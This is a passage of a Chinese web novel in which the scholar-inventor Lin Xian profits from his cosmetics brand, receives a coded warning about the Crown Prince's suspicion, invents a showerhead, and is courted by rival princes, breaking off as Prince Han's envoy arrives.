第一百一十一章 淡看斗金利,挥洒经纶才
林闲高中江南乡试解元的喜讯,如同在滚油中泼入冰水,瞬间在江南各界炸开了锅!
林府门前,车水马龙贺客盈门。
其盛况远超寻常新科解元,俨然成了江南官商两界新一轮的风向标!
送走几位封疆大吏后,这日几位江陵府本地有头有脸的士绅名流,备了厚厚的礼单前来拜会林闲。
众人被引入花厅落座后,面对主位上那位气度愈发沉静从容的解元,不免有些拘谨。
一番寒暄后,几人便开始绞尽脑汁地恭维。
一位家资巨万的张姓豪商,率先拱手奉承道:“林解元此番高中魁首,真乃我江陵府百年不遇之文坛盛事!更难得的是解元公您文武双全。那最新款的君子之风香薰如今在江南可是一件难求,价比黄金。解元公您这手指缝里漏点渣,都比我们这些老朽辛苦经营几代积累的田产商铺强多了。真乃点石成金之手,财神爷下凡啊!”
林闲闻言,连眼皮都没抬,只是用杯盖轻轻拨弄着浮茶,吹了口气,淡然道:“张翁说笑了。”
他轻啜一口,语气平淡得像在讨论窗外的天气:“些许微末之物,不过是林某读书读得乏了。活动活动筋骨,顺手调剂心性的玩意儿。如饱学之士饭后散步,偶见奇石随手把玩片刻,难不成还能指望靠捡石头发家致富?读书人,终究还是要以圣贤文章、经世济民为本。”
“噗——”
旁边一位刚端起茶杯的王员外,差点被茶水呛到。
他连忙强行咽下,脸憋得通红。
饭后散步……捡石头?
这随手一捡,捡出来的可是每年几十万两白银的流水啊!
这……这让他这种辛苦大半辈子才攒下几万两家当的人,情何以堪!
王员外好不容易顺过气,苦笑着接口,语气带着真实的羡慕和一丝自嘲:“解元公您……您这过谦得让吾等无地自容啊!您这‘顺手调剂’的玩意儿,只怕比我们全家老小起早贪黑、精打细算一辈子的进项还要强上十倍!真是……人比人,气**呐!”
林闲这才放下茶杯,目光平静地扫过众人。
那眼神深邃得仿佛能看穿他们内心对财富的渴望与焦虑,带着近乎怜悯的宽容:“王员外,此言差矣。”
他声音不高,却清晰传入每个人耳中:“钱财这东西如江河之水,今日流到东明日流到西,奔流不息却从不为谁停留。苦苦攥在手里反而徒增烦恼,生怕它少了没了。林某研制这些物事,初衷本非为此。”
他叹了口气,在众人目瞪口呆中继续悠悠道:“譬如那香皂,不过是见世间百姓盥洗不易污垢难除易生疾,便想求一简便洁净之法,让贫寒之家亦能清爽体面过日子。那防晒霜亦是见田间老农、路上学子,夏日炎炎肌肤灼痛,林某心生不忍,欲求一缓解之苦方。若能因此让民生稍易,疾苦稍减,便已是**。至于随之而来的银钱……”
林闲见众人还陷入呆滞,不由得轻轻一笑。
那笑容云淡风轻,却带着震人心魄的力量道:“不过是江水奔流时,偶然在岸边留下的几枚鹅卵石罢了,点缀风景尚可,岂能本末倒置,为之痴狂?”
“轰!”
这番话如同惊雷,在花厅内炸响!
江水……鹅卵石……功德……这几个词组合在一起,形成了一种强大的精神冲击力。
张员外、王员外等人听得目瞪口呆,心神剧震!
他们忽然觉得,自己毕生追求的黄白之物,在眼前这位林解元眼中,竟真的如同路边的石子一般微不足道!
这种认知上的巨大差距,让他们瞬间自惭形秽,又感到一种难以言喻的震撼!
“解元公……境界高远……是我等着相了!惭愧!实在惭愧!”张员外喃喃道,额角竟渗出了细汗。
“听君一席话,胜读十年书……老朽……老朽真是白活了这把年纪!”王员外更是满面羞惭。
就在满座宾客被林闲的“金钱观”打击得怀疑人生、气氛微妙之际,林承宗步履沉稳地走进花厅。
他如今气度干练,已非吴下阿蒙。
林承宗先对众人微一颔首,然后走到林闲身边低声道:“爹,赵王府的内府大管事来了,在偏厅候着说是送来上季度元启系列的分红账目,请您过目。”
他的声音不高不低,恰好能让满座宾客听清。
“赵王府?内府大管事?分红账目?”
这几个词组合在一起,如同又一记重锤,砸在众豪绅心头!
林闲闻言面色如常,只是对众人歉然一笑,语气随意得如同要去后院折支花:“诸位稍坐,赵王殿下府上派人来商议一些合作琐事,林某失陪片刻。”
说罢他从容起身,拂了拂衣袍上并不存在的灰尘,缓步离去。
花厅内,陷入了一片死寂。
“哐当~”
张员外手中的茶盏一声掉在桌上,茶水四溅,他却浑然不觉。
王员外张大了嘴,足以塞进一个鸡蛋。
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其他几位士绅也是面面相觑,眼神中充满了难以置信、惊骇、以及深深的敬畏!
“与……与赵王殿下合作……还是内府大管事亲自来送……送分红?”
张员外声音发颤:“这……这得分多少红,才劳动王府大管事亲自跑一趟啊?!”
“刚才解元公说……钱是鹅卵石……”王员外喃喃道,“现在……赵王殿下送的‘鹅卵石’……那得是……是金山吧?!”
偏厅内,赵王府那位气度不凡的内府大管事,面对林闲却是异常恭敬。
他双手奉上账册躬身道:“先生,这是元启系列上季度的账目,净利润三十万两。按约定您占三成,应得九万两,银票在此,请您过目。”
林闲随手接过那厚厚一叠、足以让外面那些豪商疯狂的银票。
看都没看就像接过一叠废纸般,随手放在了茶几上,淡然笑道:“有劳管事了。代我谢过殿下。合作之事但凭殿下安排,林某信得过。”
那管事见林闲对如此巨款竟淡漠至此,心中骇然,态度愈发恭敬:“先生放心,殿下对合作极为满意,直夸先生乃国士之才!小的告退。”
送走管事,林闲回到书房,立刻召来林承宗。他将那叠银票和一份早已拟好的计划书推了过去。
“宗儿,这是七万两。你即刻动身,前往苏州、江宁、杭州三府。”
林闲的语气平静无波,仿佛在交代一件寻常家务:“按此计划,不必从头开店,首选当地信誉良好、渠道成熟却缺乏核心竞争力的老字号,以技术入股、品牌授权模式,合作开设‘元启’分号。”
林承宗沉稳接过,眼神锐利道:“爹的意思是,用我们的技术和品牌,嫁接他们的渠道和资源,快速扩张,互利共赢?”
林闲点头:“记住,核心技术握在我们手中,品质把控必须由我们的人负责。合作条款要清晰,利益要共享,但主导权不能丢。步子要稳,口碑比速度更重要。此事,交由你全权负责。”
“孩儿明白!定不负爹所托!”林承宗眼中燃起斗志,郑重接过。他深知,这不仅是商业扩张,更是父亲对他能力的信任和考验。
看着林承宗领命而去的沉稳背影,林闲嘴角勾起一抹几不可察的弧度。
他的商业版图,已不再仅仅是产品输出,而是开始了更高维度的品牌输出和模式复制。
而这一切的起点,不过是旁人眼中“饭后散步捡来的鹅卵石”罢了。
第112章 不同的反应
与此同时,远在京城的东宫。
气氛与江南的喜庆截然相反,透着一股阴郁和酸腐之气。
太子周扬端坐于书房上首,面沉似水。
他手中捏着几份来自江南的密报,指节因用力而微微发白。
密报上林闲的名字与“解元”、“赵王合作”、“日进斗金”、“网点扩张”等标签紧密相连。
字里行间透出的那种风生水起、左右逢源的势头,像一根根细针扎得他心头极为不爽。
“砰!”
太子终于忍不住,将密报狠掷在紫檀木书案上,带着压抑的火吼道:“好一个林闲!好一个江南解元!孤当初还真是小瞧了他!”
侍立一旁的太子心腹,詹事府少詹事刘鹏程,是个惯会察言观色、煽风点火的角色。
他见状立刻躬身上前,用那种阴柔挑拨的语气低声道:“殿下息怒。依微臣看这林闲不过是小人得志,中了个解元尾巴就翘到天上去了!与赵王殿下合作?不过是攀龙附凤,见利忘义。殿下当初屈尊降贵有意招揽于他,他却故作清高若即若离。如今看来,分明是早就存了投靠赵王的心思!此等首鼠两端、趋炎附势之徒,实非善类!”
另一名幕僚左春坊中允孙文彬,也连忙帮腔:“刘大人所言极是!此子确有几分歪才,然心术不正其心可诛。赵王为何对他如此慷慨?无非是千金买马骨,做给天下人看。而这林闲重利轻义正中赵王下怀,他如今借着赵王的势在江南呼风唤雨。将来若羽翼丰满,岂不成了我东宫的心腹大患?断不可养虎为患,殿下!”
太子周扬本就心胸不算宽广,听着两位心腹你一言我一语,越想越觉得是这么回事。
一种“我看中你,你却不识抬举,反而去投靠我的对头”的恼羞成怒感,混合着对林闲才华和运道的嫉妒,让他脸色愈发阴沉。
周扬冷哼一声,语气充满不屑与猜忌:“孤原本还以为他是个可造之材,没想到也是个目光短浅、见利忘义之辈!与赵王搅在一起?狐假虎威,能有什么好下场?迟早被赵王啃得骨头都不剩!”
刘鹏程见火候已到,眼中闪过一丝阴险,趁机进言:“殿下,防人之心不可无啊。听闻那听雪小筑的苏大家,与林闲交往甚密。苏大家毕竟是……殿下这边的人。是否可令其……多加留意,随时禀报?”
他话没说透,但意思再明白不过——监视林闲!
周扬眼中寒光一闪,他正需要这样一个眼线来掌握林闲的动向,验证自己的猜忌。
他沉吟片刻,断然下令:“传孤的密令给苏元!让她给孤盯紧林闲!一举一动尤其是与赵王府的往来细节,有无对东宫不轨的言行,都给孤查清楚,随时密报!”
这道命令充满了猜忌、审视和冰冷的利用,早已将当初那点微薄的“招揽之心”抛到了九霄云外。
太子的密令通过特殊渠道,很快送到了听雪小筑的苏元手中。
苏元展开那道字迹冰冷的密令,纤手微微一颤,心沉了下去。
一股寒意夹杂着担忧,瞬间席卷全身。
她太了解太子周扬的为人了——猜忌心重,刻薄寡恩,顺我者昌,逆我者亡。
这道密令,无异于将一把无形的刀架在了林闲的脖子上!
苏元屏退左右,独自坐在琴房内。
窗外秋月清冷,她指尖拂过琴弦,发出几声零落的清音。
“闲君……”
苏元低声唤道,眉宇间满是焦虑。
她绝不能眼睁睁看着林闲陷入险境,必须设法提醒他!
沉思良久,苏元美眸中闪过一丝决然。
她铺开一张印有梅影的浅粉色浣花笺,取出一支狼毫蘸满墨汁,用清雅灵动的簪花小楷,写下了一封看似寻常问候、实则内藏玄机的书信:
“闲君如晤:
闻君蟾宫折桂,名动江南,妾心甚喜,遥贺君安。
然京华近日,风云暗涌。妾偶闻‘扬’沙迷眼之说,谓木秀于林,恐招‘风’忌。又有‘东’邻窃语,疑明珠暗投。
高处不胜寒,望君慎之。日常行止,谨言为上,交际往来,尤避瓜李之嫌。妾在此间,亦感秋意肃杀,恐有霜降之虞,日夜为君悬心。
万望保重,一切以稳妥为要。临书惴惴,言不尽意,唯愿君安。
元手书于听雪小筑秋夜”
信中,她巧妙用“扬沙”暗指太子周扬的猜忌,“风忌”谐音“讽忌”,暗示东宫的不满。
“东邻”直指东宫;“明珠暗投”喻与赵王交往引来的非议。
“霜降之虞”更是直接点出风险已近。既传达了最紧急的警告,又极为隐晦。
即便信件被截获,也难以抓住切实的把柄,堪称一封充满智慧与情意的“密码信”。
她将这封带着淡淡冷梅香气的信笺小心封好,唤来贴身侍女郑重嘱咐:“速将此信送往江陵林解元处,不得有误!”
数日后,江陵林府。
林闲正在书房审阅林承宗从苏州送回的第一批合作简报,老仆恭敬呈上那封来自京城的信:“三爷,听雪小筑苏姑娘派人加急送来的信。”
林闲接过那封带着熟悉冷梅香的信笺,拆开细读。
起初他神色平静,但随着目光扫过那些看似寻常却暗藏机锋的字句,他眉头微微蹙起,眼中闪过一丝冷冽。
然而这冷冽只是一闪而过,随即他的嘴角便泛起一丝嘲讽的弧度。
他缓缓起身走到窗前,负手望着北方京城的方向。仿佛能穿透千山万水,看到东宫那狭隘的殿堂和太子周扬那猜忌的嘴脸。
“周扬……”
他低声自语:“这就坐不住了吗?不过是江南解元,不过是与赵王做些小生意,就让你如此寝食难安?你的器量,也就仅止于此了吗?”
他摩挲着信纸,感受着苏元字里行间传递的担忧与情意,心中暖意微生。
“扬沙迷眼?风忌?霜降之虞?”
林闲重复着信中的暗语,嘴角那抹弧度愈发明显:“真是庸人自扰之。我林闲行事,何须看你东宫脸色?”
他转过身低语道:“树欲静而风不止……也罢!既然风已起,那便让这风,吹得更猛烈些吧。我倒要看看,你这东宫之风,能奈我何!正好也让我看看,这大周的太子,究竟有几分斤两!”
林闲将那封信仔细收好,心中对苏元的感激更深,对未来的棋局也更加清晰。
太子的猜忌非但没有让他感到恐惧,反而让他看清了对手的格局,激发了他更强烈的斗志。
真正的风暴,或许正在酝酿。
但他林闲,早已不
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是那个需要仰人鼻息的寒门士子。
东宫?不过是他通往更高舞台的一块试金石罢了。
几乎就在同时。
京城的赵王府内,也收到密报。
密报中详细记录了太子心腹的异常活动,以及针对林闲的监视动向。
书房内,灯火通明。
赵王周宸看着密报,嘴角勾起一抹冷峭而玩味。
他将密报递给心腹络腮胡谋士,淡淡道:“瞧瞧,我那太子哥哥,终究是坐不住了。”
络腮胡谋士快速浏览完毕,眉头微蹙:“殿下,太子此举意在剪除殿下羽翼。林解元那边,是否需要加派人手暗中保护?或给予警示?”
赵王闻言,轻啜一口摇了摇头:
“保护?警示?呵,多此一举。”
他放下茶杯,目光深邃,仿佛能穿透时空,看到江陵别院中那个从容自若的身影:“你,太小看林闲了。以他之智,岂会察觉不到太子的这些小动作?苏元那丫头,想必早已将消息递过去了。你信不信此刻的林闲非但不会惊慌失措,反而可能正在……”
他顿了顿,嘴角笑意更深:“反而可能一边品茗,一边分析太子的意图,甚至可能已经想好了十几种应对之策,正等着看太子下一步会如何出丑呢。”
谋士闻言,微微愕然随即恍然。
他挠了挠头,苦笑道:“殿下所言极是!属下愚钝了,林解元确非常人。”
赵王转过身,眼中闪烁着锐利:“太子此举看似针对林闲,实则是冲着我来的。但他选错了对象,也用错了方法。林闲此人,重利更重义。通权变,更守底线。太子想用这种上不得台面的监视手段来离间或打压,简直是痴人说梦!这非但动不了林闲分毫,反而会将林闲更紧地推向我这边!”
他语气中充满对太子的不屑:“我那哥哥终究是格局太小,只知争权夺利,却不懂何为‘得人者昌’。他越是如此,就越显得我当初力荐林闲为解元是何等正确!”
“殿下英明!”谋士躬身道,“那……我们是否需做些什么?”
赵王摆摆手,气定神闲道:“按兵不动,静观其变即可。对林闲保持常态,他若有需自会开口。他若无言,便是胸有成竹。我们若贸然插手反而显得小气,落了下乘。我们要做的就是让林闲知道,我赵王府永远是他最坚实的后盾,而非指手画脚的上司。”
他沉吟片刻,敲着桌子补充道:“不过,可以让我们在江南的人,留意一下太子的那些爪牙,别让他们玩得过火,扰了林闲的清静。必要时,可以……敲打敲打。”
“是,殿下!属下明白!”
赵王点点头,重新坐回案前。
他拿起一份公文,似乎已将太子的挑衅抛诸脑后。
但嘴角那抹笑意,却显示他心情颇佳。
赵王心中暗笑道:“太子这一出倒是帮了本王一个大忙,让你我之间的纽带捆得更紧了。本王真是越来越期待,你在京城,会掀起怎样的风云了。”
江南与京城,两地信息交织。
太子在猜忌中徒劳布局,赵王在信任中稳坐钓鱼台。
而处于风暴眼中的林闲,则正如赵王所料,在江陵的秋夜中,从容规划着未来。
他将太子的刁难,视作一场有趣的博弈……
第一百一十三章 花洒之困,巧思破顽疾
秋闱过后,林闲的生活节奏并未因解元的光环而放缓,反而更加紧凑。
解元的风光渐渐沉淀为一种无形的底气,而他真正的兴趣始终锚定在“格物致用,利国利民”这八个字上。
随着“元启”洗护系列在苏、江宁二府初步打开局面,源源不断的利润回流,让林闲手中的研发资金前所未有的充裕。
这让他有更多底气,去挑战一些更“接地气”的发明。
这日午后,秋阳煦暖。
林闲在自家后花园散步,构思着新的香型配方,目光却被不远处的一幕吸引了。
只见老仆正佝偻着腰,提着一个沉甸甸的大木桶,用大木勺费力给那些娇嫩的名贵菊花浇水。
不仅动作吃力,那水柱更是时大时小、毫无章法。
一些柔弱的花瓣被粗鲁的水流打得七零八落,泥土也被冲得四处飞溅老仆自己累得满头大汗,效果却实在差强人意。
林闲停下脚步,眉头微蹙。
眼前这原始而低效的场景,与他记忆中那种能喷洒出均匀细密水雾的现代喷壶或花洒形成了惨烈对比。
一种源于技术代差的“不忍直视”感油然而生。
“先歇歇吧。这样浇水太辛苦,而且对这娇贵的花儿来说,简直是场灾难。”
林闲走上前指示。
老仆闻声连忙放下木勺,用袖子擦了把汗,无奈中带着**以为常:“三爷,您说的是。可咱们这浇花,祖祖辈辈就是这么个浇法,用瓢、用桶,讲究点的大户人家用那种铜制的‘莲蓬头’(一种仿荷叶形状的舀水工具,底部有少量小孔),效果嘛……也都半斤八两。”
“祖辈如此,便对么?”
林闲轻轻摇头:“若事事因循守旧,这人间万物,又何来进步可言?”
他凝视那些被水打蔫的花瓣,一个念头如电光石火般闪过脑海:浇花如此,那人沐浴呢?当下沐浴无非是木桶浸泡,或用瓢舀水冲洗,何曾有过那种酣畅淋漓、细雨拂面般的体验?若能做出一种可以持续提供均匀、细密水流的器具,不仅可解园艺之苦,更能革新千万人的沐浴方式,这其中的便利与商机……
说干就干!
林闲立刻钻进“格物工坊”。
工坊内,各种工具、材料琳琅满目,空气中弥漫着松木、金属和草药的混合气息。
核心原理在他看来很简单:利用水的势能或压力,迫使水流通过特定数量、形状、排列的微小孔洞,从而分散成所需的水滴或水雾。但关键在于实现这一原理的精密结构和耐用材料。
第一轮尝试:因陋就简,竹制喷头。
他取来一截老竹,打通竹节然后用最细的钻头在竹筒一端钻了十几个小孔。连接水管,让林福从高处水桶注水。
“噗嗤——”
“嗤——”
水流倒是喷出来了,但效果惨不忍睹!
孔洞大小不一方向各异,水流有的如线,有的如柱歪歪扭扭,活像一群喝醉了的顽童在比赛撒尿——东倒西歪,毫无准头!
而且水压稍大,竹筒就“咔嚓”一声,裂开了一道大口子,宣告报废。
林闲拿着裂开的竹筒,哭笑不得:“这哪是浇花,简直是给花园行‘凌迟’之刑。”
第二轮尝试:升级材料,铜皮卷管。
吸取教训,林闲选用韧性更好的薄铜皮。他精心卷成细管,焊接牢固。
然后林闲屏息凝神,用钢针和锤子,试图敲出均匀的微孔。
“叮叮当当”一阵忙活后……
效果更“震撼”了!由于手工敲击难以控制,孔洞深浅不一,大小各异。通水测试时,场面一度失控。
有的孔堵**,滴水不漏。旁边的孔却如同压抑已久的怨妇,猛喷粗壮的水柱直冲房梁。还有的孔滋滋乱响,喷出的水雾毫无规律可言。
林闲抹了把脸上的水珠,看着这个“偏头痛发作兼内分泌失调”的铜管,忍不住自嘲道:“此物若用于沐浴,只怕不是净身,是逼疯才对。看来格物之精,在于毫厘之差啊。”
第三轮尝试:灵感乍现,模具钻孔。
面对一堆奇形怪状的失败品,林闲没有气馁。
他盯着那些歪歪扭扭的孔洞,沉思良久。
忽然他目光落在工作台上一个给香皂压花用的紫铜模具上。
模具上的花纹清
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晰、规整、深度一致!
他眼中精光一闪:“为何一定要在弧面上钻孔?何不先打造一个带孔的平板模具,再将铜皮压在模具上,一次性冲出规整的孔洞?”
这是一个关键的思路转变!
他立刻画出草图,标注好孔距和孔径,让手艺最精湛的老铜匠,用精钢打造了一个布满数百个均匀细密小孔的圆形冲压模具。
模具制成那天,林闲亲自动手。
他将一块打磨光滑的薄铜片覆盖在模具上,用特制的螺杆压力机缓缓压下……
“咔哒。”
一声轻响。
抬起压机,取下铜片。
一片布满整齐划一、细密如筛的完美孔洞的铜制“莲蓬头”面板,赫然出现在眼前!
阳光透过这些小孔,在地上投射出斑驳而规整的光点。
林闲的嘴角,终于露出满意的笑容:“看来欲工其事,先利其器。古人诚不我欺。”
接下来的几天,林闲又解决了进水接口的密封、内部水流分配腔的结构等问题。
当第一个黄铜铸造、表面布满细密孔洞、连接着软管和手动加压泵的原型花洒终于组装完成时,整个工坊的人都围了过来。
老仆小心摇动加压泵的手柄,清澈的水流通过软管,涌入花洒内部,然后……
“沙沙沙——”
一阵均匀、细密、柔和如春雨般的水雾,从花洒头部喷洒而出。
在秋日的阳光下,映出一道小小的彩虹!
老仆激动得老脸通红,“老爷!这……这简直是仙家法宝啊!浇花再也不会伤到叶子了!”
其他工匠也发出阵阵惊叹。
林闲接过花洒,感受着那细腻的水雾,脸上露出了欣慰的笑容。
他不仅解决了浇花的难题,更验证了一条标准化、精密制造的道路。
这小小的花洒背后,是思维方式的胜利。
林闲淡笑道:“此物,可命名为润物花洒。不仅用于浇花,更可用于沐浴。让工匠们依此标准,尽快做出几个沐浴用的样品来。”
他仿佛已经看到,这细腻的水流即将为这个世界带来一场“清洁”的微小**……
第一百一十四章 双喜临门
就在林闲对着那花洒原型赞赏不已,沉浸在“格物”成功的喜悦中时,工坊外传来一阵急促的脚步。
“爹!爹!喜事!天大的喜事啊!”
只见林承宗满脸涨得通红,手中攥着一卷盖着朱红大印的公文,连滚带爬冲进工坊。
他激动得声音都变了调,哪还有平日里的半分沉稳!
“宗儿?何事如此慌张?”
林闲放下手中的花洒眉头微挑,心中已隐约有所猜测。
他中解元后声望如日中天,各方示好纷至沓来,只是没想到喜讯来得如此之快,且落在承宗身上。
“爹!您看!官府的文书!是……是巡抚周大人特批的官学保送名额!保送孩儿去省城官学就读,还……还直接授予了秀才功名,准孩儿准备下一科的乡试!”
林承宗将公文双手奉上,因为极度激动手指都在微微颤抖,语无伦次道:“一步登天!这是一步登天啊爹!孩儿……孩儿不用再考童生试了!直接就是秀才了!”
这简直是天上掉馅饼!
对于屡考不中的学弱林承宗而言,童生试是一道巨大的门槛。
如今借助林闲的势,他跳过这道天堑进入省城最高学府,这不仅是莫大的荣耀,更是圆了他的梦!
工坊内的工匠们闻言,也纷纷停下手中的活计围拢过来。
他们脸上满是震惊与羡慕,窃窃私语道:
“我的老天爷!直接保送秀才?这可是祖坟冒青烟了啊!”
“还是巡抚大人特批!咱们老爷的面子也太大了!”
“少爷真是好福气!”
林闲接过公文快速扫过,果然是周巡抚的亲笔批示和官印。
他心中了然,这是周巡抚在投桃报李。
既是感念他此前在赵宪案中的间接助力,更是对他这位新科解元的“闲先生”的强力投资。
林闲面色平静,只是欣慰拍了拍林承宗因激动而微微颤抖的肩膀笑道:“不错。”
林闲轻轻两个字,仿佛在评价一件微不足道的小事。
随即他才加重语气,看着自己这位屡考不中的好大儿道:“宗儿,这是你应得的机遇。到了省城官学,需知天外有天人外有人,更要戒骄戒躁潜心向学。莫要辜负了周抚台的赏识,莫要辜负了这番机缘,更莫要辜负为父对你的期望。”
“是!孩儿明白!孩儿定当头悬梁、锥刺股,刻苦用功,光耀门楣,绝不给爹丢脸!”
林承宗噗通一声跪下,重重磕了个头,他声音哽咽,却充满了前所未有的坚定。
工坊内,花洒喷洒着细密的水雾映照着彩虹。
工坊外,嗣子获保送秀才,鲤跃龙门!
真是双喜临门!
林闲心情大悦,挥挥手笑道:“好!今日双喜临门,值得庆贺!宗儿即将入学,如龙入海。这新式沐浴器,亦将普惠世人。”
随后林闲拿起花洒,对众人宣布:“此物,便正式命名为——元启·随心沐!寓意元亨利贞,启智惠民,随心所浴,畅享清新!”
“好名字!老爷高才!”众人齐声喝彩。
恰在此时,门外传来通报,新任江陵府周知府到访。
周知府满面春风地走进工坊,人未至声先到:“先生!本官在府衙便闻到您这工坊的喜气了!特来道贺……咦?这是?”
他话未说完,就被林闲手持长柄花洒,轻松浇灌远处花丛的景象吸引了!
只见均匀的水雾如春雨般洒落,花瓣娇艳欲滴,泥土湿润而不板结,与往日提桶泼水的狼狈截然不同!
“这……这是何神器?”周知府眼睛瞪得溜圆。
林闲淡然一笑:“不过是闲暇时琢磨的小玩意儿,名曰‘随心沐’,浇花沐浴皆可,图个方便省力罢了。”
周知府又一眼瞥见林承宗手中那卷醒目的公文,以及他脸上尚未褪去的激动红晕,忙问其故。
得知是巡抚特批的保送秀才,周知府更是倒吸一口凉气。
随即抚掌大笑,对着林闲深深抱拳道:“闲先生真乃
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神人也!文武双全已是难得,您这点石成金的本事,更是旷古烁今!随手一沐,便是惠民神器。金口一开,子侄便鲤跃龙门!这……这让我等凡夫俗子,还如何活啊?”
随后他凑近几步,压低声音表明心迹道:“闲先生,这随心沐……务必给下官留几套!不!十套!府衙后院、本官私宅,都得用上!让大家都沾沾闲先生的仙气儿!”
林闲被他的模样逗笑,应允道:“周府台说笑了!区区小物,府台喜欢稍后便让人送去府上。”
送走心满意足的周知府,工坊重归平静。
林闲负手立于院中,看着工匠们开始批量制作“随心沐”的部件,又看了看仍在兴奋地摩挲着公文、憧憬着省城学府生活的林承宗,嘴角勾起一抹深邃的笑意。
元启随心沐……官学保送……
他心中暗忖:“这‘元启’品牌,看来又要添一员猛将了。下次赵王结算分红时若看到这新品的账目,不知又会是怎样一副表情?怕是要惊掉下巴吧?”
想到赵王可能的反应,林闲笑意更浓。
但随即他脑海中闪过苏元密信中关于太子猜忌的警告,眼神变得微冷,嘴角却泛起一丝嘲讽:“周扬……东宫……你们在朝堂上争权夺利,绞尽脑汁想着如何打压异己,巩固权势。”
“却不知真正的力量,从来不在朝堂的勾心斗角之中。”
“而在这一件件惠及民生的发明创造里,在培养下一代英才的根基之中,在这实实在在、滚滚而来的财富积累之上!”
“你们玩你们的权术,我搞我的格物,培养我的**人,闷声发我的大财。”
“这,才是真正的——降维打击!”
夕阳的余晖洒满院落,将林闲的身影拉得悠长。
他仿佛一位超然物外的棋手,早已跳出了棋盘方寸间的厮杀,在更广阔的天地间布下棋子。
而这“随心沐”与“保送秀才”,不过是这盘大棋中微不足道却后劲无穷的闲棋罢了。
第一百一十五章 风起云涌:稳坐钓鱼台
林闲研发出“元启”洗护系列和“随心沐”花洒的消息,激起的涟漪迅速扩散至大周权力中心。
其背后蕴含的巨大商业潜力,终于让京城最高权力圈的三位巨头再也坐不住了。
一时间,三方势力的触角同时伸向林家这座别院,目标直指这位新科解元和他手中的“金矿”。
最先抵达林府的是赵王周宸的代表,一位身着锦袍、举止看似谦和却难掩骨子里优越感的中年管事,姓王。
王管事带来的,不仅仅是赵王的口信和一份新的合作方案,更带着一股来自京城亲王府、居高临下的施舍意味。
宾主落座,香茗甫上。
王管事便省去了所有寒暄,直接切入主题。
他取出一份用明黄绸缎包裹、装帧极其精美的文书,双手奉到林闲面前语气恭敬道:“林解元,殿下对您可是青眼有加,念念不忘。”
他脸上堆着职业化的笑容,继续忽悠:“殿下言道,解元公乃国士之才,岂能长久困于商贾琐事?故而特派在下前来,带来殿下的一份厚意与新议。”
方案的核心内容清晰而霸道:赵王希望一次性买断“元启”系列(包括洗护套装和“随心沐”花洒)的全部配方和独家经营权。由赵王府旗下最专业的皇商号全权负责后续的一切。
作为“补偿”,赵王府愿意支付一笔“绝对丰厚”的买断费。同时为“安抚”和“借重”林闲的名望,施舍一个“王府特聘格物顾问”的虚衔,并可享受未来销售净利中微不足道的干股分红。
王管事身体微微前倾,压低声音规劝道:“殿下此举,实是惜才、爱才之心。殿下常言,您乃文曲星下凡,才华横溢前途不可限量。然则这经商之事,终究是琐碎繁杂,与铜臭为伍绝非正经读书人所宜久涉。耗费心力于此,恐耽误了举业正途!”
他顿了顿,观察着林闲的反应后继续加码暗示:“殿下在士林清议之中,尤其是在礼部和各省学政体系内,颇有些渊源。若解元公能顺应殿下美意,专心举业,殿下感念您的通情达理,将来在您赴京赶考、乃至金榜题名后馆选授职的关键时刻,或可……美言一二。反之,若因这些商贾琐事分心,乃至惹出些不必要的麻烦,耽误了锦绣前程,岂非因小失大,悔之晚矣?”
这番话冠冕堂皇,却字字诛心,意图将林闲彻底踢出局。
林闲静静听着,脸上保持着恰到好处的微笑,仿佛在听一个有趣的故事。
他心中冷笑:‘好一招卸磨杀驴,过河拆桥。’
但面上却波澜不惊,只是温和地抬手示意:“王管事一路辛苦,此事关系重大,容林某斟酌。承宗,先请王管事到客厅用茶,好生招待。”
几乎就在赵王府管事前脚刚进客厅,茶尚未奉上后脚林承宗又急匆匆来报:“爹!太子殿下特使到访!”
来的不是别人,正是苏元。
苏元此行,明面上是奉太子之命采购江南物产,实则怀揣密令:务必争取到“元启”系列的经营权,至少绝不能让其完全落入赵王之手!
这个任务让她心情沉重,步履也显得有些迟疑。
苏元今日穿着一身月白裙裾,略施粉黛却难掩眉宇间的疲惫与挣扎。
见到林闲,她依照礼节盈盈一拜:“恭喜闲君高中解元,蟾宫折桂,名动江南。”
道贺的话语真诚,却带着一丝难以言喻的苦涩。
林闲敏锐地察觉到了她的异样,不动声色地还礼,将她请至一旁雅静的书房,并示意左右退下。
屏退旁人后,苏元未等林闲询问,便轻轻叹了口气,美眸中流露出深深的忧虑,低声道:“闲君,今日元儿前来,实是奉命而行。有些话……或许不当讲,但元儿思前想后,必须对君坦言。”
她顿了顿,声音压得更低,几乎耳语:“殿下他……自从得知君与赵王合作那‘元启’之物,获利颇丰之后,心中便一直……耿耿于怀。东宫用度虽不缺,然眼见如此巨利落入赵王囊中,而闲君你又……似乎与赵王越发亲近,殿下难免心生猜忌,对君已多有防备之言。”
这番话已是推心置腹,将太子因眼红利润和**而对林闲产生的疏远与戒备,直言不讳地相告。这无疑承担了极大的风险。
苏元抬起眼,恳切看着林闲道:“此次元启新品及那花洒之事传开,其利之巨其势之猛更胜从前。殿下得知后,更是……坐立难安。他言此等利国利民之器,若不能掌握在东宫手中,不仅于声誉有损,更恐资敌以粮草。故而,元儿此番,是硬着头皮前来……”
她的语气中带着无奈和歉意,表明自己此行并非本愿。
稍作停顿,她转入太子的正式条件,但语气已然带上了提醒的意味:“殿下之意,是希望将‘元启’系列交由东宫所属的‘惠民司’统筹经营。殿下承诺,若君愿合作,东宫可调动官坊工匠、畅通全国渠道,利润分成亦可优厚。并且……殿下暗示,此事若成,对君未来之仕途,必有极大裨益。”
她将“必有极大裨益”几字稍稍加重,暗示这既是诱惑,也可能是威胁。
最后,她语重心长地轻声道:“闲君,殿下此番志在必得。元儿人微言轻,只能将殿下之意带到。如何决断,还望闲君……务必慎之又慎,权衡周全。”这番话,既是完成使命,更是对林闲的深切关怀和警示。
林闲心中明了,太子不仅要利,要名,更要控制权,源于对赵王的忌惮和对自己“失控”的不满。
他感激苏元的坦诚,面上依旧平静:“元儿姑娘一番苦心,林某明白了。此事关系重大,确需仔细斟酌。请姑娘先到内室稍作休息,容林某思量片刻。”
他温和地将苏元请入内室,眼神中传递出的理解和安抚,让苏元忐忑的心稍安。
然而,更戏剧性的一幕发生了!
就在苏元刚被引入内室,门房又来急报:“老爷!有汉王殿下特使求见!”
来者是一名身着玄色劲装、腰佩狭长**、目光锐利如鹰、浑身散发着沙场肃杀之气的中年武将,自称姓雷,乃是汉王麾下亲卫统领之一。
